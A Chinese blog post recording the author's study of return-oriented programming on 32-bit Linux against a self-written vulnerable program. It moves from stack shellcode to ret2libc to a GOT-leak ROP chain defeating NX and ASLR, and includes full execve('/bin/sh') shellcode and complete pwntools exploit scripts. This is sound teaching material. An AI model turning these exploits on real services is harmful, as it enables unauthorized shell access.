学习——>一步一步学ROP之linux_x86篇

这个学习蒸米大牛的:https://yq.aliyun.com/articles/58699

ROP全称为Return-oriented programming(返回导向编程),一般是绕过内存不可执行(linux就是NX(No-Execute),windows就是DEP( Data Execution Prevention))

Control Flow Hijack 程序流劫持

常见的就是栈溢出,格式化字符串攻击和堆溢出了,系统的防御者就想了下面的办法:DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等

编写漏洞程序

编写以下有漏洞的程序(PS:最好还是自己手动敲一下,这样学习效果更好)

blob.png

看看这两个函数:

ssize_t read(int fd,void * buf ,size_t count);
fd为文件描述符,将fd所指的文件或者标准输入等读取到buf中,大小为count字节
返回读取到的字节数,若读取到文件尾,则返回0,若出错返回-1
ssize_t write (int fd,const void * buf,size_t count);
就将count字节的的buf写到fd所指的文件或者标准输出
若成功返回已写的字节数,出错就返回-1

那么那个漏洞函数局部变量只有128大小,那么可以读取256字节,肯定可以溢出了

开始编译吧

32位系统

blob.png

在64位系统编译32位程序要加个-m32 ,不知道为啥那个栈执行被忽略了

blob.png

-fno-stack-protector 关闭栈保护(常见就是canary

-z execstack 看英文就知道是使栈有执行的权限

关闭ASLR

blob.pngsudo -s ;以目标用户运行 shell,相当于再新建一个shell

这样就关闭了整个linux系统的ASLR(Address Space Layout Randomization)地址空间布局随机化

确定溢出点的位置

接下来确定溢出点的位置就好,使用作者的提供的pattern.py生成一些字符去测试,不过peda里面也有

blob.png

peda的也是差不多blob.png

由于我在64位kali编译成64位程序了,先用作者的,r(run)运行,输入我们的测试数据

blob.png

跟着就知道返回地址在哪了,有peda还是很容易看的

blob.png

计算得到blob.png那么覆盖140个'A'(一般用这个‘A’而已,你用B,C什么的都可以,不是0x00,0x0d,0x0a换行那些就行)再加个返回地址就好了

接下来用peda自带的试试,这次试验的是在我的机器上编译的程序,所以跟作者的地址不一样,看看是不是140,可以看到也是140

blob.pngblob.png

那么静态分析能不能分析出来呢

载入ida,可以看到buf的基址在ebp-0x88

blob.png

汇编看到他是会保存上一个函数的栈基的

blob.png

那么返回地址就是0x88 + 4 = 140

blob.png

需要一段shellcode

直接用作者的shellcode吧,顺便解析一下

这样的学习好多了

# 下面的汇编目的是execve ("/bin/sh") 
# xor ecx, ecx        ;;ecx置0
# mul ecx             ;;edx,eax置0
# push ecx        ;;ecx入栈,其实是作为字符串结束符
# push 0x68732f2f   ;; 就是字符串(字节逆序):hs//
# push 0x6e69622f   ;; 就是字符串:nib/   连接上面(反过来读)就是/bin//sh
# mov ebx, esp        ;;保存esp
# mov al, 11 ;;将al置为11,即系统调用符号常数->__NR_execve 11  
# int 0x80             ;;系统中断处理程序int 0x80

首先尝试用windows的VC看看机器码,发现哥蒸米牛的不一样,xor ecx,ecx 和mov ebx,esp的机器码不一样

blob.png

跟着自己在od将字节和作者的写在od对比了一下,发现是一样的,虽然机器码不一样,但翻译成汇编指令就变成一样了

blob.png

跟着马上查了一下Intel指令解析手册,也算了弄明白了一点点,既然这样我就搞连个shellcode,一个作者的,一个我自己编译出来的

作者的:

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

我改那两个机器码:

shellcode = "\x33\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x8b\xdc\xb0"
shellcode += "\x0b\xcd\x80"

这里蒸米作者说着有个坑,就是正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置,但是执行exp的时候压根就不在那个地址上,…

因为gdb的调试环境会影响buf在内存中的位置,虽然关闭了ASLP,buf可能是在别的固定的地址上

这个之前在0day安全看过,就是说就算在你的电脑执行shellcode成功,你在别的电脑上环境很可能就不能运行了,后来就找跳板了,就是jmp esp,后面我会尝试去实验的啦

继续吧,开启core dump

具体还可以参考一下这里:

http://blog.csdn.net/yizhou35/article/details/16368775

blob.png

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

准备好字符串使其溢出,ABCD就是buf的初始地址啦blob.png

blob.png

因为崩溃的时候计算机将栈中所谓的“返回地址弹出”,所以esp指向返回地址下一个4字节了,又因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。

blob.png

地址在0xffffd5a0处

注意,由于ebp被我们的41覆盖了,所以不能用于查看内存地址哦blob.png

我们试试在gdb调试状态看看地址是多少,可以看到是在0xffffd560处,果然是不同的

blob.png

那么接下来就写exp咯,学着用pwntools,可以方便进行本地和远程攻击的转换

发现并没有成功,我再次用哪个core文件看那个地址,发现地址又变了,

难道aslr没关?第2天关了虚拟机,起床再做一遍,发现地址经常变,于是就发现aslr没关

跟着直接运行exp1.py,跟着去看看那个core文件,可以看到我们设置的返回地址是错误的,所以就没成功了

blob.png

那么ret就改为0xffffd2e0,运行,getshell成功

blob.png

接下来接近一点实战,就是将程序的输入绑定到服务器某一个端口上

blob.png

就是tcp协议,4应该是ipv4吧,绑定到6666端口,fork是创建子进程,应该是你来连接一个我就给你创建一个子进程,各位CTFer互不干扰

当然可以nc连接咯

blob.png

那我们的exp注释去掉,改成远程的

blob.png

开启core dump,运行一下

blob.png

不行就看一下core文件咯

blob.png

修改一下ret的值,成功运行

blob.png

Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护

相对level1,我们打开DEP(其实linux叫NX吧)

gcc -fno-stack-protector -o level2 level2.c

我们看看level1栈段的权限

blob.png

再看看level2的,其实我第一次编译的那个就是关闭DEP的选项被忽略了,先直接用我那个程序做吧这次,不行再换

可以看到没有了执行权限

blob.png

那么我们不能将shellcode放在栈上了,跟着作者来

既然使用了read,write函数,那么就肯定调用了libc.so,里面也含有大量的函数

我们的目标就是执行system(“/bin/sh”)

接下来就是如何获取system的地址,还有/bin/sh的地址或者构造了

没开aslr,地址都是固定的,直接用gdb的find和print查找

在main下断点,运行起来

blob.png

竟然找不到/bin/sh,那就自己尝试构造咯,竟然可以哦

from pwn import *
p = process('./rop_x86')
#p = remote('127.0.0.1',6666)
system_addr = 0xf7e49360
ret = 0xaaaaaaaa #not important
binsh_addr = 0xffffd658
# /bin//sh
binsh = "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00"
payload = 'a' * 140 + p32(system_addr)  + p32(ret) + p32(binsh_addr) + binsh
p.send(payload)
p.interactive()

blob.png

那我再试试作者的思路,经过大神指点,直接用find就行(gdb,main下断,运行,find)

blob.png

重新小修整一下代码,还是可以的,感谢蒸米牛的文章啦

blob.png

ROP– Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护

我们打开ASLR保护

blob.png发现上面的exp2已经不行了

blob.png

看看libc的加载的地址每次运行都会变化

blob.pngblob.png

那么思路是什么:先泄露出libc中某些函数的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。

栈,libc,heap的地址都是随机的。但我们可以看到程序在内存中的镜像是没有随机化的

blob.png

作者的意思是将返回地址设置成我们程序本身的地址值就可以了

objdump查看可以利用的plt函数和函数对应的got表

一些选项:

-j, –section=NAME             Only display information for section NAME

-d, –disassemble        Display assembler contents of executable sections

那么下面这个就是

root@kali:~/learnRop# objdump -d -j .plt rop_x86
rop_x86:     文件格式 elf32-i386
Disassembly of section .plt:
080482e0 <read@plt-0x10>:
 80482e0:ff 35 3c 97 04 08    pushl  0x804973c
 80482e6:ff 25 40 97 04 08    jmp    *0x8049740
 80482ec:00 00                add    %al,(%eax)
...
080482f0 <read@plt>:
 80482f0:ff 25 44 97 04 08    jmp    *0x8049744
 80482f6:68 00 00 00 00       push   $0x0
 80482fb:e9 e0 ff ff ff       jmp    80482e0 <_init+0x30>
08048300 <__gmon_start__@plt>:
 8048300:ff 25 48 97 04 08    jmp    *0x8049748
 8048306:68 08 00 00 00       push   $0x8
 804830b:e9 d0 ff ff ff       jmp    80482e0 <_init+0x30>
08048310 <__libc_start_main@plt>:
 8048310:ff 25 4c 97 04 08    jmp    *0x804974c
 8048316:68 10 00 00 00       push   $0x10
 804831b:e9 c0 ff ff ff       jmp    80482e0 <_init+0x30>
08048320 <write@plt>:
 8048320:ff 25 50 97 04 08    jmp    *0x8049750
 8048326:68 18 00 00 00       push   $0x18
 804832b:e9 b0 ff ff ff       jmp    80482e0 <_init+0x30>

-R, –dynamic-reloc      Display the dynamic relocation entries in the file

blob.png

我们可以看到,程序本身没调用过system函数,我们可以通过write@plt把write()函数在内存中的地址也就是write.got给打印出来。为什么可以这样?

因为linux采用了延时绑定技术,当我们调用write@plit()的时候,第一次的时候系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 – 链接、装载与库》这本书)

幸好我有那一本书,其实那一页我已看过一遍了,现在再看一遍

blob.png

当我们调用某个外部模块的函数时,如果按照通常的做法是通过GOT中响应的项进行间接跳转。但为了延迟绑定,在这工程中间加了一层间接跳转,通过一个叫做PLT项的结构进行跳转。每个外部函数在PLT中都有一个相应的项,比如上面的write函数在PLT的项的地址我们叫做write@plt

blob.png

write@plt第一条指令就是跳到GOT表对应的位置

write@GOT表示GOT中保存write这个函数相应的项,其实就是一个地址而已。

如果链接器在初始化阶段已经初始化该项,并将write()的地址填入改项(地址),那么跳转指令就获取GOT表上保存的值,跳到write函数处

当上一句没说过,为了实现延迟绑定,链接器在初始化阶段肯定没初始化那个的地址的,而是将plt的第二条指令的地址填进去,那么第一次jmp就跳到第二条指令处,push一个数,再push模块id(就是动态链接的so文件),最后调用那个符号解析和重定位的函数_dl_runtime_resolve

blob.png

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

blob.png

大牛喜欢直接给exp,经过上面的学习,我还是看得懂的,注释一下

# -*- coding: utf-8 -*-
from pwn import *
# 实例化一个ELF对象?
libc = ELF('./libc.so')
elf  = ELF('./rop_x86')
# 运行进程
p = process('./rop_x86')
# p = remote('127.0.0.1', 10003)
# 获取write@plt和write@GOT的地址
plt_write = elf.symbols['write']
# 发现跟elf.plt['write']获取到的结果是一样的
print 'plt_write = ' + hex(plt_write)
# plt_write = elf.plt['write']
# print 'plt_write2 = ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write = ' + hex(got_write)
# 漏洞函数的地址,泄露出地址后,我们还有继续利用这个漏洞函数
vulfun_addr = 0x0804842B
print 'vulfun_addr = ' + hex(vulfun_addr) 
# 140以后是漏洞函数的返回地址,下面相当于构造了write(1, got_write, 4) ,就是将got_write的内存地址打印出来,1是标准输出,4是4字节,32位的地址是4字节,执行完write函数,write返回的时候就将栈顶的vulfun_addr弹出到eip,继续执行漏洞函数
payload1 = 'a' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(got_write) + p32(4)
# 发送payload
print "\n### sending payload1... ###"
p.send(payload1)
# 接收write的地址
print "\n### receiving write() addr... ###"
write_addr = u32(p.recv(4))
print "write_addr = " + hex(write_addr)
# 计算system和/bin/sh的地址
print "\ncalculating system() addr and \"/bin/sh\" addr ... ###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search("/bin/sh")))
print "binsh_addr = " + hex(binsh_addr)
# 构造payload2,
payload2 = 'a' * 140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n### sending payload2... ###"
# 发送payload2
p.send(payload2)
# 返回一个交互式的shell
p.interactive()

blob.png

好了,学习了还是很有收获的~~~

打赏
微信
支付宝
微信二维码图片

微信扫描二维码打赏

支付宝二维码图片

支付宝扫描二维码打赏

发表评论